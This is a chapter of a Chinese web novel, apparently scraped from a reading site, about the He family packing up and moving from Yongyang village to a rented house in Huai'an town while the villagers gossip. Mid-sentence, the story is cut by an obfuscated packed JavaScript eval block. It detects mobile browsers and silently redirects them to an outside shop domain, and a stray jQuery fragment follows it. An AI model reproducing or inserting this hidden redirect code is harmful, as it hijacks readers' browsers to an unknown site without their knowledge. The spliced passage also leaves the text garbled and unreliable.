家中东西并不多,除了被褥外,最贵重的家当就是院子里那两只老母鸡。
一家人井然有序的收拾着,把该带走的东西都打包好。
“怎么把锅碗瓢盆都拿出来了。”苏意安看着贺兴晨从灶房中一件一件往外抱,就差把米缸一同带上。
贺兴晨气喘吁吁,一屁股坐在旁边的木凳上,“小婶,咱们这次不是都搬去镇上吗,这东西难道不带着?”
苏意安摇摇头,镇上铺院里东西都准备全了,再说她们又不是再也不回村里,这些东西还是放家里的好,以后回来不至于还得背着锅。
这春耕时不还得回家种地,那六亩良田也是能收不少粮食的,就算不卖带去镇上吃也能吃很久。
贺母把院里小菜地长出来的几小棵菘菜全都摘下,有些还嫩着没有长大,贺母也都摘了。
她们这一走怎么也得半个月,到时候指不定这些菜都被鸟啄了。
屋中,菀絮收拾着衣裳被褥。
昨日吃饭时说一起去镇上,没想到第二日就开始收拾起来。
她把满妹放在炕里面,自己则把一块布铺在炕上,把叠好的衣裳薄被统统放在上面,弄完后再打上一个结。
至于炕上铺着的旧褥子则叠好放在柜子中,这样虽不带走但也不会落了灰。
贺颂元东西少,没一会儿就收拾好了,弄完后他拄着拐进了菀絮屋中,本想帮着她一起收拾,没想到她早早就收拾完了。
“想什么想的这么入神。”贺颂元坐在炕边问菀絮,刚刚他进屋动静不小,满妹都被吵醒了,菀絮却没察觉。
“就是觉得好快,感觉短短几个月,家里就发生了好多事。”菀絮抱起满妹,用手轻拍着哄她。
一年之内,他们从府城搬到永阳村,如今又从永阳村搬到怀安镇。
贺颂元垂下眼眸,应道:“可不是,如同做梦一般,以后咱们好好过日子总归会越来越好。”
菀絮点头,她也是这般想的,日子不求大富大贵只求一家人平平安安。
晌午贺母没再做新的吃食,她将昨日的饭菜热了热让大家收了个尾。
吃完这顿饭他们就要去镇上。
贺母仍旧找了上次送稳婆回去的车夫,因着东西多一趟拉不完,贺家众人便分开前往镇上。
贺允淮跟着来回跑,苏意安和贺兴晨则留下看着家。
赵车夫心中那是一个劲的好奇,自从半月前贺家人坐过自家的牛车一趟,就再也不曾瞧见人,如今再找来人家一家竟是搬去镇上。
赵四临行前将这事告诉了自家媳妇,不料他前脚刚走,后脚赵娘子就把这大消息当闲话一样闲聊了出去。
那镇上院子多贵,不管是租还是买那都要不少银钱,这说明什么。
余家媳妇听完后啧了一声,她就说摆摊肯定是赚钱的,偏她婆母不信,这不原来穷的揭不开锅的贺家如今都能搬到镇上去住。
“可是真的?”有人不信,这才多久咋突然就搬到了镇上。
“我家男人亲自送去的,这还能有假?听说东西不少得跑两趟,想来他们家中还有人呢,你们若不信就去看看。”赵娘子白了那人一眼。
这种事大家其实是信的,可到底拉不下脸面过去问一问。
这不杨二媳妇将她大儿子叫了过来,交代道:“你去瞅瞅贺家还有人不,问问是不是真的去镇上?”
杨秋生惊讶的看着他娘。
“傻愣着做啥,快去。”杨二媳妇踢了杨秋生一脚,催着他赶快过去问问。
她们这些大人不好意思,但派个孩子去还是没问题的。
山脚下的贺家小院中,苏意安正带着贺兴晨一点点看家中还有什么没带上。
一间屋子一间屋子的看,确定好后这才上了锁。
杨秋生赶来时,苏意安正守着贺兴晨在地上写大字。
苏意安不认识这的字,但又不好意思问,她便让贺兴晨一边写一边念。
先从他们的名字开始写。
贺兴晨还以为小婶是在看自己这几日上学的成果,便乖乖照做。
杨秋生尴尬的站在门前,进也不是不进也不是。
还是苏意安抬头时瞧见了他,便招呼着让他进来。
“怎么在门外站着也不进来。”苏意安见过他对他自然是有印象。
杨秋生扣着手指,这才老老实实的说:“俺娘让俺过来看看,你们是不是要走了。”
没想到消息传的这般快,苏意安冲他点头,道:“嗯,今个就走。”
杨秋生又问:“还回来不。”
问完他便后悔了,村子里的人都不咋喜欢贺家,以前他爹娘也是如此,后来帮了贺家一次这才不咋说贺家坏话。
可他觉得贺家人不坏,要是坏咋可能大冷天的给他面吃,那面里还有肉呢。她娘都舍不得弄那大块的肉。
苏意安一听这话笑了,她问:“谁说我们不回来了,家在这地在这,自然要回来的。”
杨秋生抿着唇,硬生生道:“村里婶子们说的。”
见他们还会回来,杨秋生便没有再留,他一溜烟跑回了家,把这消息告诉了他娘。
杨二媳妇听完揪着他耳朵训道:“我咋生了你这么个蠢笨的,该问的啥也没问。”
杨秋生疼的直叫唤,他就不知道了他娘让问的他问了啊,咋她娘还发起了脾气。
-
赵四驾着牛车一路将人送到了镇上。
这地段不错,巷子里也干净,他跟着下了车借着帮忙的由头进了院子。
四间屋子一间灶房,院里还有一口井,虽院子不大,但就这样的院子也贵的很。
他实在好奇没忍住还是张了嘴,“您这院真不错,不晓得一年多少银子。”
价格这种事找牙人一问便知道,所以贺允淮没瞒着,他指了指前面的铺子道:“一年十四两。”
豁,真不少呢,他们在村里种地一年可赚不出来十四两银子。
赵四心想贺家这真是赚了钱,要不咋租的起这贵的院子。
因还得再拉一趟,所以东西卸下后贺允淮没帮着收拾,好在留下了贺凝文她晓得哪间屋子还空着。
“咋,你们只用了两间屋。”贺母想着她们四人怎么也得占了三间才是,到时候她和老幺睡一屋就行。
贺凝文笑笑,道:“咳,贺兴晨一人不敢睡,和二哥一屋。”
贺母用手指戳了她脑门一下,气笑道:“就会说你小侄,你不也是和意安一屋。”
贺凝文笑笑,转身去了北边。
她推开北边屋子,这屋子最大,里面有柜子有桌子,东西很是齐全,而且还是个向阳的屋子。
“嫂子,你们住这间。”贺凝文
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546551|136036||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
站在门边冲菀絮招手。
菀絮怀中抱着满妹,初来陌生的地方满妹睁的眼好奇的四处看。
“这也太大了。”菀絮往里面瞧了一眼便不愿住进去,这么好的屋子自然应该给苏意安住。
贺凝文猜到了她的想法,便道:“我和苏姐姐睡那边那间屋子,苏姐姐说她不常在屋中所以睡哪里都一样。”
“再说,这屋子向阳,嫂子你可以在屋里绣花,大哥可以在窗边抄抄书,都很方便。”贺凝文把苏意安交代的话复述了一遍。
贺母一听便知这是苏意安的意思,她笑了笑,“就这样住吧,就空着两间屋,你们人多睡这间大的正好。”
如今贺颂元能拄着拐走路,贺母便让他同菀絮一个屋睡了,人家小两口总分开也不是个事。
-
回程的牛车一进村,就被村里人瞧见了。
村民本想拦住问问,可一瞧上面还坐着个人,大家就歇了心思。
苏意安没想到他们回来的还挺快,听见门外声响她就走了出来。
“那边安顿好了?”她问。
贺允淮跟在她身旁,将剩下的背篓放上牛车,“放下东西就回来了,那边娘和小妹收拾着。”
院子里剩下的东西不多,也就三个背篓两个人。
东西都放上牛车后,苏意安便锁上了院门。
赵四送这两趟一点也没少赚。
平日里他拉一个人才几文钱,跑一趟镇上来回赚六十文差不多。
今个贺家给了他二钱银子,瞧着不少。
送完了人赵四便去买了一斤肉,想着今日改善改善。
没成想牛车刚到家门口,就被村里人围了上来,他赶紧用东西遮住了板车上的肉。
村里人实在好奇,都等着赵四回来问问,这不早早就围坐在了他家门前。
“等会啊,我先把我家牛赶回家。”赵四给他媳妇使了个眼色,让门前的人让出一条路,这才匆匆赶着牛车进了院。
等把银钱和肉放好后,他这才出来。
“快说说,咋样啊。”村民催道。
赵四咧嘴一笑,把今日瞧见的同村民说了一遭,末了又补充道:“要我说还是咱们村里好,你们是没瞧见那小的院子,就要十多两一年。”
“原来不是买的啊。”
“豁,老三你还真敢想,镇上一处院子就几十两,谁能买得起。”赵四道。
村里人多是羡慕,散了后便匆匆回了家,与家里人商量着要不要也去镇上摆个摊。
她们虽没想赚钱租个院子,但是若真能赚这些钱,拿回家可是能在村里盖一处砖房的。
贺家搬走的消息,贺二婶还是三日后从旁人嘴里听说的。
年后她便同老二分了家,这些日子气得她病倒了,如今身子刚好,一出来却听见这么大一个消息。
“真走了?”贺二婶抓住那人的胳膊,咬着牙问道。
“都走了好几日了,听说赚了好多钱,这不一家都搬去了镇上。”那人故意气贺二婶,添油加醋的说:“你瞧瞧,若当时你不去人家家中闹,指不定她们这一走就把院子和地都留给你们家了。”
贺二婶没想到短短一月贺家大房竟变了天,过上了好日子。
她又悔又气但更多是嫉妒,听说回了家便又病倒了,一连半月村里人再也没瞧见过她。